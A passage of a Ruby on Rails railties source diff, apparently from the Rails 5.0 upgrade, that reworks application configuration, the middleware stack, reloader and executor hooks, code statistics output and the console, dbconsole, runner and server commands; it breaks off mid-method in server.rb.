https://github.com/rails/rails/pull/6952#issuecomment-7661220 @caching_key_generator ||= if secrets.secret_key_base + unless secrets.secret_key_base.kind_of?(String) + raise ArgumentError, "`secret_key_base` for #{Rails.env} environment must be a type of String, change this value in `config/secrets.yml`" + end key_generator = ActiveSupport::KeyGenerator.new(secrets.secret_key_base, iterations: 1000) ActiveSupport::CachingKeyGenerator.new(key_generator) else @@ -220,17 +216,20 @@ module Rails # url: http://localhost:3001 # namespace: my_app_development # - # # config/production.rb + # # config/environments/production.rb # Rails.application.configure do # config.middleware.use ExceptionNotifier, config_for(:exception_notification) # end - def config_for(name) - yaml = Pathname.new("#{paths["config"].existent.first}/#{name}.yml") + def config_for(name, env: Rails.env) + if name.is_a?(Pathname) + yaml = name + else + yaml = Pathname.new("#{paths["config"].existent.first}/#{name}.yml") + end if yaml.exist? - require "yaml" require "erb" - (YAML.load(ERB.new(yaml.read).result) || {})[Rails.env] || {} + (YAML.load(ERB.new(yaml.read).result) || {})[env] || {} else raise "Could not load configuration. No such file - #{yaml}" end @@ -246,7 +245,7 @@ module Rails @app_env_config ||= begin validate_secret_key_config! - super.merge({ + super.merge( "action_dispatch.parameter_filter" => config.filter_parameters, "action_dispatch.redirect_filter" => config.filter_redirect, "action_dispatch.secret_token" => secrets.secret_token, @@ -262,7 +261,7 @@ module Rails "action_dispatch.encrypted_signed_cookie_salt" => config.action_dispatch.encrypted_signed_cookie_salt, "action_dispatch.cookies_serializer" => config.action_dispatch.cookies_serializer, "action_dispatch.cookies_digest" => config.action_dispatch.cookies_digest - }) + ) end end @@ -511,9 +510,22 @@ module Rails "Read the upgrade documentation to learn more about this new config option." if secrets.secret_token.blank? - raise "Missing `secret_token` and `secret_key_base` for '#{Rails.env}' environment, set these values in `config/secrets.yml`" + raise "Missing `secret_key_base` for '#{Rails.env}' environment, set this value in `config/secrets.yml`" end end end + + private + + def build_request(env) + req = super + env["ORIGINAL_FULLPATH"] = req.fullpath + env["ORIGINAL_SCRIPT_NAME"] = req.script_name + req + end + + def build_middleware + config.app_middleware + super + end end end diff --git a/railties/lib/rails/application/bootstrap.rb b/railties/lib/rails/application/bootstrap.rb index 0f4d932749..f615f22b26 100644 --- a/railties/lib/rails/application/bootstrap.rb +++ b/railties/lib/rails/application/bootstrap.rb @@ -1,6 +1,7 @@ -require "active_support/notifications" -require "active_support/dependencies" -require "active_support/descendants_tracker" +require 'fileutils' +require 'active_support/notifications' +require 'active_support/dependencies' +require 'active_support/descendants_tracker' module Rails class Application @@ -63,7 +64,7 @@ INFO Rails.cache = ActiveSupport::Cache.lookup_store(config.cache_store) if Rails.cache.respond_to?(:middleware) - config.middleware.insert_before("Rack::Runtime", Rails.cache.middleware) + config.middleware.insert_before(::Rack::Runtime, Rails.cache.middleware) end end end diff --git a/railties/lib/rails/application/configuration.rb b/railties/lib/rails/application/configuration.rb index dc3ec4274b..f415a20833 100644 --- a/railties/lib/rails/application/configuration.rb +++ b/railties/lib/rails/application/configuration.rb @@ -3,6 +3,9 @@ require 'active_support/file_update_checker' require 'rails/engine/configuration' require 'rails/source_annotation_extractor' +require 'active_support/deprecation' +require 'active_support/core_ext/string/strip' # for strip_heredoc + module Rails class Application class Configuration < ::Rails::Engine::Configuration @@ -11,44 +14,75 @@ module Rails :eager_load, :exceptions_app, :file_watcher, :filter_parameters, :force_ssl, :helpers_paths, :logger, :log_formatter, :log_tags, :railties_order, :relative_url_root, :secret_key_base, :secret_token, - :serve_static_files, :ssl_options, :static_cache_control, :session_options, - :time_zone, :reload_classes_only_on_change, + :ssl_options, :public_file_server, + :session_options, :time_zone, :reload_classes_only_on_change, :beginning_of_week, :filter_redirect, :x attr_writer :log_level - attr_reader :encoding + attr_reader :encoding, :api_only, :static_cache_control def initialize(*) super self.encoding = "utf-8" - @allow_concurrency = nil - @consider_all_requests_local = false - @filter_parameters = [] - @filter_redirect = [] - @helpers_paths = [] - @serve_static_files = true - @static_cache_control = nil - @force_ssl = false - @ssl_options = {} - @session_store = :cookie_store - @session_options = {} - @time_zone = "UTC" - @beginning_of_week = :monday - @log_level = nil - @middleware = app_middleware - @generators = app_generators - @cache_store = [ :file_store, "#{root}/tmp/cache/" ] - @railties_order = [:all] - @relative_url_root = ENV["RAILS_RELATIVE_URL_ROOT"] - @reload_classes_only_on_change = true - @file_watcher = ActiveSupport::FileUpdateChecker - @exceptions_app = nil - @autoflush_log = true - @log_formatter = ActiveSupport::Logger::SimpleFormatter.new - @eager_load = nil - @secret_token = nil - @secret_key_base = nil - @x = Custom.new + @allow_concurrency = nil + @consider_all_requests_local = false + @filter_parameters = [] + @filter_redirect = [] + @helpers_paths = [] + @public_file_server = ActiveSupport::OrderedOptions.new + @public_file_server.enabled = true + @public_file_server.index_name = "index" + @force_ssl = false + @ssl_options = {} + @session_store = :cookie_store + @session_options = {} + @time_zone = "UTC" + @beginning_of_week = :monday + @log_level = nil + @generators = app_generators + @cache_store = [ :file_store, "#{root}/tmp/cache/" ] + @railties_order = [:all] + @relative_url_root = ENV["RAILS_RELATIVE_URL_ROOT"] + @reload_classes_only_on_change = true + @file_watcher = ActiveSupport::FileUpdateChecker + @exceptions_app = nil + @autoflush_log = true + @log_formatter = ActiveSupport::Logger::SimpleFormatter.new + @eager_load = nil + @secret_token = nil + @secret_key_base = nil + @api_only = false + @debug_exception_response_format = nil + @x = Custom.new + end + + def static_cache_control=(value) + ActiveSupport::Deprecation.warn <<-eow.strip_heredoc + `config.static_cache_control` is deprecated and will be removed in Rails 5.1. + Please use + `config.public_file_server.headers = { 'Cache-Control' => '#{value}' }` + instead. + eow + + @static_cache_control = value + end + + def serve_static_files + ActiveSupport::Deprecation.warn <<-eow.strip_heredoc + `config.serve_static_files` is deprecated and will be removed in Rails 5.1. + Please use `config.public_file_server.enabled` instead. + eow + + @public_file_server.enabled + end + + def serve_static_files=(value) + ActiveSupport::Deprecation.warn <<-eow.strip_heredoc + `config.serve_static_files` is deprecated and will be removed in Rails 5.1. + Please use `config.public_file_server.enabled = #{value}` instead. + eow + + @public_file_server.enabled = value end def encoding=(value) @@ -59,6 +93,21 @@ module Rails end end + def api_only=(value) + @api_only = value + generators.api_only = value + + @debug_exception_response_format ||= :api + end + + def debug_exception_response_format + @debug_exception_response_format || :default + end + + def debug_exception_response_format=(value) + @debug_exception_response_format = value + end + def paths @paths ||= begin paths = super @@ -142,22 +191,21 @@ module Rails SourceAnnotationExtractor::Annotation end - private - class Custom #:nodoc: - def initialize - @configurations = Hash.new - end + class Custom #:nodoc: + def initialize + @configurations = Hash.new + end - def method_missing(method, *args) - if method =~ /=$/ - @configurations[$`.to_sym] = args.first - else - @configurations.fetch(method) { - @configurations[method] = ActiveSupport::OrderedOptions.new - } - end + def method_missing(method, *args) + if method =~ /=$/ + @configurations[$`.to_sym] = args.first + else + @configurations.fetch(method) { + @configurations[method] = ActiveSupport::OrderedOptions.new + } end end + end end end end diff --git a/railties/lib/rails/application/default_middleware_stack.rb b/railties/lib/rails/application/default_middleware_stack.rb index 02eea82b0c..381e548730 100644 --- a/railties/lib/rails/application/default_middleware_stack.rb +++ b/railties/lib/rails/application/default_middleware_stack.rb @@ -17,8 +17,11 @@ module Rails middleware.use ::Rack::Sendfile, config.action_dispatch.x_sendfile_header - if config.serve_static_files - middleware.use ::ActionDispatch::Static, paths["public"].first, config.static_cache_control + if config.public_file_server.enabled + headers = config.public_file_server.headers || {} + headers['Cache-Control'.freeze] = config.static_cache_control if config.static_cache_control + + middleware.use ::ActionDispatch::Static, paths["public"].first, index: config.public_file_server.index_name, headers: headers end if rack_cache = load_rack_cache @@ -26,33 +29,40 @@ module Rails middleware.use ::Rack::Cache, rack_cache end - middleware.use ::Rack::Lock unless allow_concurrency? + if config.allow_concurrency == false + # User has explicitly opted out of concurrent request + # handling: presumably their code is not threadsafe + + middleware.use ::Rack::Lock + end + + middleware.use ::ActionDispatch::Executor, app.executor + middleware.use ::Rack::Runtime - middleware.use ::Rack::MethodOverride + middleware.use ::Rack::MethodOverride unless config.api_only middleware.use ::ActionDispatch::RequestId # Must come after Rack::MethodOverride to properly log overridden methods middleware.use ::Rails::Rack::Logger, config.log_tags middleware.use ::ActionDispatch::ShowExceptions, show_exceptions_app - middleware.use ::ActionDispatch::DebugExceptions, app + middleware.use ::ActionDispatch::DebugExceptions, app, config.debug_exception_response_format middleware.use ::ActionDispatch::RemoteIp, config.action_dispatch.ip_spoofing_check, config.action_dispatch.trusted_proxies unless config.cache_classes - middleware.use ::ActionDispatch::Reloader, lambda { reload_dependencies? } + middleware.use ::ActionDispatch::Reloader, app.reloader end middleware.use ::ActionDispatch::Callbacks - middleware.use ::ActionDispatch::Cookies + middleware.use ::ActionDispatch::Cookies unless config.api_only - if config.session_store - if config.force_ssl && !config.session_options.key?(:secure) + if !config.api_only && config.session_store + if config.force_ssl && config.ssl_options.fetch(:secure_cookies, true) && !config.session_options.key?(:secure) config.session_options[:secure] = true end middleware.use config.session_store, config.session_options middleware.use ::ActionDispatch::Flash end - middleware.use ::ActionDispatch::ParamsParser middleware.use ::Rack::Head middleware.use ::Rack::ConditionalGet middleware.use ::Rack::ETag, "no-cache" @@ -61,18 +71,6 @@ module Rails private - def reload_dependencies? - config.reload_classes_only_on_change != true || app.reloaders.map(&:updated?).any? - end - - def allow_concurrency? - if config.allow_concurrency.nil? - config.cache_classes && config.eager_load - else - config.allow_concurrency - end - end - def load_rack_cache rack_cache = config.action_dispatch.rack_cache return unless rack_cache diff --git a/railties/lib/rails/application/finisher.rb b/railties/lib/rails/application/finisher.rb index 0599e988d9..0aed6c1351 100644 --- a/railties/lib/rails/application/finisher.rb +++ b/railties/lib/rails/application/finisher.rb @@ -22,10 +22,10 @@ module Rails initializer :add_builtin_route do |app| if Rails.env.development? app.routes.append do - get '/rails/info/properties' => "rails/info#properties" - get '/rails/info/routes' => "rails/info#routes" - get '/rails/info' => "rails/info#index" - get '/' => "rails/welcome#index" + get '/rails/info/properties' => "rails/info#properties", internal: true + get '/rails/info/routes' => "rails/info#routes", internal: true + get '/rails/info' => "rails/info#index", internal: true + get '/' => "rails/welcome#index", internal: true end end end @@ -38,16 +38,16 @@ module Rails app.routes.define_mounted_helper(:main_app) end - initializer :add_to_prepare_blocks do + initializer :add_to_prepare_blocks do |app| config.to_prepare_blocks.each do |block| - ActionDispatch::Reloader.to_prepare(&block) + app.reloader.to_prepare(&block) end end # This needs to happen before eager load so it happens # in exactly the same point regardless of config.cache_classes - initializer :run_prepare_callbacks do - ActionDispatch::Reloader.prepare! + initializer :run_prepare_callbacks do |app| + app.reloader.prepare! end initializer :eager_load! do @@ -62,13 +62,60 @@ module Rails ActiveSupport.run_load_hooks(:after_initialize, self) end + class MutexHook + def initialize(mutex = Mutex.new) + @mutex = mutex + end + + def run + @mutex.lock + end + + def complete(_state) + @mutex.unlock + end + end + + module InterlockHook + def self.run + ActiveSupport::Dependencies.interlock.start_running + end + + def self.complete(_state) + ActiveSupport::Dependencies.interlock.done_running + end + end + + initializer :configure_executor_for_concurrency do |app| + if config.allow_concurrency == false + # User has explicitly opted out of concurrent request + # handling: presumably their code is not threadsafe + + app.executor.register_hook(MutexHook.new, outer: true) + + elsif config.allow_concurrency == :unsafe + # Do nothing, even if we know this is dangerous. This is the + # historical behaviour for true. + + else + # Default concurrency setting: enabled, but safe + + unless config.cache_classes && config.eager_load + # Without cache_classes + eager_load, the load interlock + # is required for proper operation + + app.executor.register_hook(InterlockHook, outer: true) + end + end + end + # Set routes reload after the finisher hook to ensure routes added in # the hook are taken into account. - initializer :set_routes_reloader_hook do + initializer :set_routes_reloader_hook do |app| reloader = routes_reloader reloader.execute_if_updated self.reloaders << reloader - ActionDispatch::Reloader.to_prepare do + app.reloader.to_run do # We configure #execute rather than #execute_if_updated because if # autoloaded constants are cleared we need to reload routes also in # case any was used there, as in @@ -78,18 +125,29 @@ module Rails # This means routes are also reloaded if i18n is updated, which # might not be necessary, but in order to be more precise we need # some sort of reloaders dependency support, to be added. + require_unload_lock! reloader.execute end end # Set clearing dependencies after the finisher hook to ensure paths # added in the hook are taken into account. - initializer :set_clear_dependencies_hook, group: :all do + initializer :set_clear_dependencies_hook, group: :all do |app| callback = lambda do ActiveSupport::DescendantsTracker.clear ActiveSupport::Dependencies.clear end + if config.cache_classes + app.reloader.check = lambda { false } + elsif config.reload_classes_only_on_change + app.reloader.check = lambda do + app.reloaders.map(&:updated?).any? + end + else + app.reloader.check = lambda { true } + end + if config.reload_classes_only_on_change reloader = config.file_watcher.new(*watchable_args, &callback) self.reloaders << reloader @@ -97,15 +155,19 @@ module Rails # Prepend this callback to have autoloaded constants cleared before # any other possible reloading, in case they need to autoload fresh # constants. - ActionDispatch::Reloader.to_prepare(prepend: true) do + app.reloader.to_run(prepend: true) do # In addition to changes detected by the file watcher, if routes # or i18n have been updated we also need to clear constants, # that's why we run #execute rather than #execute_if_updated, this # callback has to clear autoloaded constants after any update. - reloader.execute + class_unload! do + reloader.execute + end end else - ActionDispatch::Reloader.to_cleanup(&callback) + app.reloader.to_complete do + class_unload!(&callback) + end end end diff --git a/railties/lib/rails/application_controller.rb b/railties/lib/rails/application_controller.rb index 9a29ec21cf..618a09a5b3 100644 --- a/railties/lib/rails/application_controller.rb +++ b/railties/lib/rails/application_controller.rb @@ -6,7 +6,7 @@ class Rails::ApplicationController < ActionController::Base # :nodoc: def require_local! unless local_request? - render text: '<p>For security purposes, this information is only available to local requests.</p>', status: :forbidden + render html: '<p>For security purposes, this information is only available to local requests.</p>'.html_safe, status: :forbidden end end diff --git a/railties/lib/rails/cli.rb b/railties/lib/rails/cli.rb index dd70c272c6..a8794bc0de 100644 --- a/railties/lib/rails/cli.rb +++ b/railties/lib/rails/cli.rb @@ -1,8 +1,8 @@ -require 'rails/app_rails_loader' +require 'rails/app_loader' # If we are inside a Rails application this method performs an exec and thus # the rest of this script is not run. -Rails::AppRailsLoader.exec_app_rails +Rails::AppLoader.exec_app require 'rails/ruby_version_check' Signal.trap("INT") { puts; exit(1) } diff --git a/railties/lib/rails/code_statistics.rb b/railties/lib/rails/code_statistics.rb index 583d005d46..7a8f42fe94 100644 --- a/railties/lib/rails/code_statistics.rb +++ b/railties/lib/rails/code_statistics.rb @@ -1,4 +1,5 @@ require 'rails/code_statistics_calculator' +require 'active_support/core_ext/enumerable' class CodeStatistics #:nodoc: @@ -9,6 +10,8 @@ class CodeStatistics #:nodoc: 'Job tests', 'Integration tests'] + HEADERS = {lines: ' Lines', code_lines: ' LOC', classes: 'Classes', methods: 'Methods'} + def initialize(*pairs) @pairs = pairs @statistics = calculate_statistics @@ -33,7 +36,7 @@ class CodeStatistics #:nodoc: Hash[@pairs.map{|pair| [pair.first, calculate_directory_statistics(pair.last)]}] end - def calculate_directory_statistics(directory, pattern = /.*\.(rb|js|coffee)$/) + def calculate_directory_statistics(directory, pattern = /^(?!\.).*?\.(rb|js|coffee|rake)$/) stats = CodeStatisticsCalculator.new Dir.foreach(directory) do |file_name| @@ -41,11 +44,9 @@ class CodeStatistics #:nodoc: if File.directory?(path) && (/^\./ !~ file_name) stats.add(calculate_directory_statistics(path, pattern)) + elsif file_name =~ pattern + stats.add_by_file_path(path) end - - next unless file_name =~ pattern - - stats.add_by_file_path(path) end stats @@ -69,27 +70,37 @@ class CodeStatistics #:nodoc: test_loc end + def width_for(label) + [@statistics.values.sum {|s| s.send(label) }.to_s.size, HEADERS[label].length].max + end + def print_header print_splitter - puts "| Name | Lines | LOC | Classes | Methods | M/C | LOC/M |" + print '| Name ' + HEADERS.each do |k, v| + print " | #{v.rjust(width_for(k))}" + end + puts ' | M/C | LOC/M |' print_splitter end def print_splitter - puts "+----------------------+--------+--------+---------+---------+-----+-------+" + print '+----------------------' + HEADERS.each_key do |k| + print "+#{'-' * (width_for(k) + 2)}" + end + puts '+-----+-------+' end def print_line(name, statistics) m_over_c = (statistics.methods / statistics.classes) rescue m_over_c = 0 loc_over_m = (statistics.code_lines / statistics.methods) - 2 rescue loc_over_m = 0 - puts "| #{name.ljust(20)} " \ - "| #{statistics.lines.to_s.rjust(6)} " \ - "| #{statistics.code_lines.to_s.rjust(6)} " \ - "| #{statistics.classes.to_s.rjust(7)} " \ - "| #{statistics.methods.to_s.rjust(7)} " \ - "| #{m_over_c.to_s.rjust(3)} " \ - "| #{loc_over_m.to_s.rjust(5)} |" + print "| #{name.ljust(20)} " + HEADERS.each_key do |k| + print "| #{statistics.send(k).to_s.rjust(width_for(k))} " + end + puts "| #{m_over_c.to_s.rjust(3)} | #{loc_over_m.to_s.rjust(5)} |" end def print_code_test_stats diff --git a/railties/lib/rails/code_statistics_calculator.rb b/railties/lib/rails/code_statistics_calculator.rb index a142236dbe..fad13e8517 100644 --- a/railties/lib/rails/code_statistics_calculator.rb +++ b/railties/lib/rails/code_statistics_calculator.rb @@ -25,6 +25,7 @@ class CodeStatisticsCalculator #:nodoc: } PATTERNS[:minitest] = PATTERNS[:rb].merge method: /^\s*(def|test)\s+['"_a-z]/ + PATTERNS[:rake] = PATTERNS[:rb] def initialize(lines = 0, code_lines = 0, classes = 0, methods = 0) @lines = lines diff --git a/railties/lib/rails/commands.rb b/railties/lib/rails/commands.rb index 12bd73db24..5a66b78a92 100644 --- a/railties/lib/rails/commands.rb +++ b/railties/lib/rails/commands.rb @@ -7,7 +7,7 @@ aliases = { "s" => "server", "db" => "dbconsole", "r" => "runner", - "t" => "test", + "t" => "test" } command = ARGV.shift diff --git a/railties/lib/rails/commands/commands_tasks.rb b/railties/lib/rails/commands/commands_tasks.rb index d8d4080c3e..da3b9452d5 100644 --- a/railties/lib/rails/commands/commands_tasks.rb +++ b/railties/lib/rails/commands/commands_tasks.rb @@ -1,3 +1,5 @@ +require 'rails/commands/rake_proxy' + module Rails # This is a class which takes in a rails command and initiates the appropriate # initiation sequence. @@ -5,6 +7,8 @@ module Rails # Warning: This class mutates ARGV because some commands require manipulating # it before they are run. class CommandsTasks # :nodoc: + include Rails::RakeProxy + attr_reader :argv HELP_MESSAGE = <<-EOT @@ -20,14 +24,18 @@ The most common rails commands are: new Create a new Rails application. "rails new my_app" creates a new application called MyApp in "./my_app" -In addition to those, there are: - destroy Undo code generated with "generate" (short-cut alias: "d") - plugin new Generates skeleton for developing a Rails plugin - runner Run a piece of code in the application environment (short-cut alias: "r") - All commands can be run with -h (or --help) for more information. + +In addition to those commands, there are: EOT + ADDITIONAL_COMMANDS = [ + [ 'destroy', 'Undo code generated with "generate" (short-cut alias: "d")' ], + [ 'plugin new', 'Generates skeleton for developing a Rails plugin' ], + [ 'runner', + 'Run a piece of code in the application environment (short-cut alias: "r")' ] + ] + COMMAND_WHITELIST = %w(plugin generate destroy console server dbconsole runner new version help test) def initialize(argv) @@ -36,10 +44,11 @@ EOT def run_command!(command) command = parse_command(command) + if COMMAND_WHITELIST.include?(command) send(command) else - write_error_message(command) + run_rake_task(command) end end @@ -110,6 +119,7 @@ EOT def help write_help_message + write_commands ADDITIONAL_COMMANDS + formatted_rake_tasks end private @@ -151,13 +161,9 @@ EOT puts HELP_MESSAGE end - def write_error_message(command) - puts "Error: Command '#{command}' not recognized" - if %x{rake #{command} --dry-run 2>&1 } && $?.success? - puts "Did you mean: `$ rake #{command}` ?\n\n" - end - write_help_message - exit(1) + def write_commands(commands) + width = commands.map { |name, _| name.size }.max || 10 + commands.each { |command| printf(" %-#{width}s %s\n", *command) } end def parse_command(command) diff --git a/railties/lib/rails/commands/console.rb b/railties/lib/rails/commands/console.rb index 5d37a2b699..ea5d20ea24 100644 --- a/railties/lib/rails/commands/console.rb +++ b/railties/lib/rails/commands/console.rb @@ -1,14 +1,13 @@ require 'optparse' require 'irb' require 'irb/completion' +require 'rails/commands/console_helper' module Rails class Console - class << self - def start(*args) - new(*args).start - end + include ConsoleHelper + class << self def parse_arguments(arguments) options = {} @@ -21,23 +20,8 @@ module Rails opt.parse!(arguments) end - if arguments.first && arguments.first[0] != '-' - env = arguments.first - if available_environments.include? env - options[:environment] = env - else - options[:environment] = %w(production development test).detect {|e| e =~ /^#{env}/} || env - end - end - - options + set_options_env(arguments, options) end - - private - - def available_environments - Dir['config/environments/*.rb'].map { |fname| File.basename(fname, '.*') } - end end attr_reader :options, :app, :console @@ -57,12 +41,9 @@ module Rails end def environment - options[:environment] ||= ENV['RAILS_ENV'] || ENV['RACK_ENV'] || 'development' - end - - def environment? - environment + options[:environment] ||= super end + alias_method :environment?, :environment def set_environment! Rails.env = environment diff --git a/railties/lib/rails/commands/console_helper.rb b/railties/lib/rails/commands/console_helper.rb new file mode 100644 index 0000000000..8ee0b60012 --- /dev/null +++ b/railties/lib/rails/commands/console_helper.rb @@ -0,0 +1,34 @@ +require 'active_support/concern' + +module Rails + module ConsoleHelper # :nodoc: + extend ActiveSupport::Concern + + module ClassMethods + def start(*args) + new(*args).start + end + + private + def set_options_env(arguments, options) + if arguments.first && arguments.first[0] != '-' + env = arguments.first + if available_environments.include? env + options[:environment] = env + else + options[:environment] = %w(production development test).detect { |e| e =~ /^#{env}/ } || env + end + end + options + end + + def available_environments + Dir['config/environments/*.rb'].map { |fname| File.basename(fname, '.*') } + end + end + + def environment + ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "development" + end + end +end
\ No newline at end of file diff --git a/railties/lib/rails/commands/dbconsole.rb b/railties/lib/rails/commands/dbconsole.rb index 5175e31f14..2c36edfa3f 100644 --- a/railties/lib/rails/commands/dbconsole.rb +++ b/railties/lib/rails/commands/dbconsole.rb @@ -1,13 +1,49 @@ require 'erb' require 'yaml' require 'optparse' +require 'rails/commands/console_helper' module Rails class DBConsole + include ConsoleHelper + attr_reader :arguments - def self.start - new.start + class << self + def parse_arguments(arguments) + options = {} + + OptionParser.new do |opt| + opt.banner = "Usage: rails dbconsole [environment] [options]" + opt.on("-p", "--include-password", "Automatically provide the password from database.yml") do |v| + options['include_password'] = true + end + + opt.on("--mode [MODE]", ['html', 'list', 'line', 'column'], + "Automatically put the sqlite3 database in the specified mode (html, list, line, column).") do |mode| + options['mode'] = mode + end + + opt.on("--header") do |h| + options['header'] = h + end + + opt.on("-h", "--help", "Show this help message.") do + puts opt + exit + end + + opt.on("-e", "--environment=name", String, + "Specifies the environment to run this console under (test/development/production).", + "Default: development" + ) { |v| options[:environment] = v.strip } + + opt.parse!(arguments) + abort opt.to_s unless (0..1).include?(arguments.size) + end + + set_options_env(arguments, options) + end end def initialize(arguments = ARGV) @@ -15,7 +51,7 @@ module Rails end def start - options = parse_arguments(arguments) + options = self.class.parse_arguments(arguments) ENV['RAILS_ENV'] = options[:environment] || environment case config["adapter"] @@ -29,7 +65,7 @@ module Rails 'sslca' => '--ssl-ca', 'sslcert' => '--ssl-cert', 'sslcapath' => '--ssl-capath', - 'sslcipher' => '--ssh-cipher', + 'sslcipher' => '--ssl-cipher', 'sslkey' => '--ssl-key' }.map { |opt, arg| "#{arg}=#{config[opt]}" if config[opt] }.compact @@ -50,9 +86,6 @@ module Rails ENV['PGPASSWORD'] = config["password"].to_s if config["password"] && options['include_password'] find_cmd_and_exec('psql', config["database"]) - when "sqlite" - find_cmd_and_exec('sqlite', config["database"]) - when "sqlite3" args = [] @@ -89,7 +122,7 @@ module Rails find_cmd_and_exec("sqsh", *args) else - abort "Unknown command-line client for #{config['database']}. Submit a Rails patch to add support!" + abort "Unknown command-line client for #{config['database']}." end end @@ -104,90 +137,37 @@ module Rails end def environment - if Rails.respond_to?(:env) - Rails.env - else - ENV["RAILS_ENV"] || ENV["RACK_ENV"] || "development" - end + Rails.respond_to?(:env) ? Rails.env : super end protected + def configurations + require APP_PATH + ActiveRecord::Base.configurations = Rails.application.config.database_configuration + ActiveRecord::Base.configurations + end - def configurations - require APP_PATH - ActiveRecord::Base.configurations = Rails.application.config.database_configuration - ActiveRecord::Base.configurations - end - - def parse_arguments(arguments) - options = {} - - OptionParser.new do |opt| - opt.banner = "Usage: rails dbconsole [environment] [options]" - opt.on("-p", "--include-password", "Automatically provide the password from database.yml") do |v| - options['include_password'] = true - end - - opt.on("--mode [MODE]", ['html', 'list', 'line', 'column'], - "Automatically put the sqlite3 database in the specified mode (html, list, line, column).") do |mode| - options['mode'] = mode - end + def find_cmd_and_exec(commands, *args) + commands = Array(commands) - opt.on("--header") do |h| - options['header'] = h + dirs_on_path = ENV['PATH'].to_s.split(File::PATH_SEPARATOR) + unless (ext = RbConfig::CONFIG['EXEEXT']).empty? + commands = commands.map{|cmd| "#{cmd}#{ext}"} end - opt.on("-h", "--help", "Show this help message.") do - puts opt - exit + full_path_command = nil + found = commands.detect do |cmd| + dirs_on_path.detect do |path| + full_path_command = File.join(path, cmd) + File.file?(full_path_command) && File.executable?(full_path_command) + end end - opt.on("-e", "--environment=name", String, - "Specifies the environment to run this console under (test/development/production).", - "Default: development" - ) { |v| options[:environment] = v.strip } - - opt.parse!(arguments) - abort opt.to_s unless (0..1).include?(arguments.size) - end - - if arguments.first && arguments.first[0] != '-' - env = arguments.first - if available_environments.include? env - options[:environment] = env + if found + exec full_path_command, *args else - options[:environment] = %w(production development test).detect {|e| e =~ /^#{env}/} || env + abort("Couldn't find database client: #{commands.join(', ')}. Check your $PATH and try again.") end end - - options - end - - def available_environments - Dir['config/environments/*.rb'].map { |fname| File.basename(fname, '.*') } - end - - def find_cmd_and_exec(commands, *args) - commands = Array(commands) - - dirs_on_path = ENV['PATH'].to_s.split(File::PATH_SEPARATOR) - unless (ext = RbConfig::CONFIG['EXEEXT']).empty? - commands = commands.map{|cmd| "#{cmd}#{ext}"} - end - - full_path_command = nil - found = commands.detect do |cmd| - dirs_on_path.detect do |path| - full_path_command = File.join(path, cmd) - File.file?(full_path_command) && File.executable?(full_path_command) - end - end - - if found - exec full_path_command, *args - else - abort("Couldn't find database client: #{commands.join(', ')}. Check your $PATH and try again.") - end - end end end diff --git a/railties/lib/rails/commands/rake_proxy.rb b/railties/lib/rails/commands/rake_proxy.rb new file mode 100644 index 0000000000..f7d5df6b2f --- /dev/null +++ b/railties/lib/rails/commands/rake_proxy.rb @@ -0,0 +1,34 @@ +require 'rake' +require 'active_support' + +module Rails + module RakeProxy #:nodoc: + private + def run_rake_task(command) + ARGV.unshift(command) # Prepend the command, so Rake knows how to run it. + + Rake.application.standard_exception_handling do + Rake.application.init('rails') + Rake.application.load_rakefile + Rake.application.top_level + end + end + + def rake_tasks + return @rake_tasks if defined?(@rake_tasks) + + ActiveSupport::Deprecation.silence do + require_application_and_environment! + end + + Rake::TaskManager.record_task_metadata = true + Rake.application.instance_variable_set(:@name, 'rails') + Rails.application.load_tasks + @rake_tasks = Rake.application.tasks.select(&:comment) + end + + def formatted_rake_tasks + rake_tasks.map { |t| [ t.name_with_args, t.comment ] } + end + end +end diff --git a/railties/lib/rails/commands/runner.rb b/railties/lib/rails/commands/runner.rb index 86bce9b2fe..f9c183ac86 100644 --- a/railties/lib/rails/commands/runner.rb +++ b/railties/lib/rails/commands/runner.rb @@ -2,6 +2,7 @@ require 'optparse' options = { environment: (ENV['RAILS_ENV'] || ENV['RACK_ENV'] || "development").dup } code_or_file = nil +command = 'bin/rails runner' if ARGV.first.nil? ARGV.push "-h" @@ -34,7 +35,7 @@ ARGV.clone.options do |opts| opts.separator "" opts.separator "You can also use runner as a shebang line for your executables:" opts.separator " -------------------------------------------------------------" - opts.separator " #!/usr/bin/env #{File.expand_path($0)} runner" + opts.separator " #!/usr/bin/env #{File.expand_path(command)}" opts.separator "" opts.separator " Product.all.each { |p| p.price *= 2 ; p.save! }" opts.separator " -------------------------------------------------------------" @@ -52,11 +53,17 @@ Rails.application.require_environment! Rails.application.load_runner if code_or_file.nil? - $stderr.puts "Run '#{$0} -h' for help." + $stderr.puts "Run '#{command} -h' for help." exit 1 elsif File.exist?(code_or_file) $0 = code_or_file Kernel.load code_or_file else - eval(code_or_file, binding, __FILE__, __LINE__) + begin + eval(code_or_file, binding, __FILE__, __LINE__) + rescue SyntaxError, NameError + $stderr.puts "Please specify a valid ruby command or the path of a script to run." + $stderr.puts "Run '#{command} -h' for help." + exit 1 + end end diff --git a/railties/lib/rails/commands/server.rb b/railties/lib/rails/commands/server.rb index 546d3725d8..7418dff18b 100644 --- a/railties/lib/rails/commands/server.rb +++ b/railties/lib/rails/commands/server.rb @@ -2,10 +2,13 @@ require 'fileutils' require 'optparse' require 'action_dispatch' require 'rails' +require 'rails/dev_caching' module Rails class Server < ::Rack::Server class Options + DEFAULT_PID_PATH = File.expand_path("tmp/pids/server.pid").freeze + def parse!(args) args, options = args.dup, {} @@ -34,6 +37,9 @@ module Rails opts.on("-P", "--pid=pid", String, "Specifies the PID file.", "Default: tmp/pids/server.pid") { |v| options[:pid] = v } + opts.on("-C", "--[no-]dev-caching", + "Specifies whether to perform caching in development.", + "true or false") { |v| options[:caching] = v } opts.separator "" @@ -67,6 +73,7 @@ module Rails print_boot_information trap(:INT) { exit } create_tmp_directories + setup_dev_caching log_to_stdout if options[:log_stdout] super @@ -77,40 +84,34 @@ module Rails end def middleware - middlewares = [] - middlewares << [::Rack::ContentLength] - - # FIXME: add Rack::Lock in the case people are using webrick. - # This is to remain backwards compatible for those who are - # running webrick in production. We should consider removing this - # in development. - if server.name == 'Rack::Handler::WEBrick' - middlewares << [::Rack::Lock] - end - - Hash.new(middlewares) + Hash.new([]) end def default_options super.merge({ - Port: 3000, + Port: ENV.fetch('PORT', 3000).to_i, DoNotReverseLookup: true, environment: (ENV['RAILS_ENV'] || ENV['RACK_ENV'] || "development").dup, daemonize: false, - pid: File.expand_path("tmp/pids/server.pid"), - config: File.expand_path("config.ru") + caching: nil, + pid: Options::DEFAULT_PID_PATH, + restart_cmd: restart_command }) end private + def setup_dev_caching + if options[:environment] == "development" + 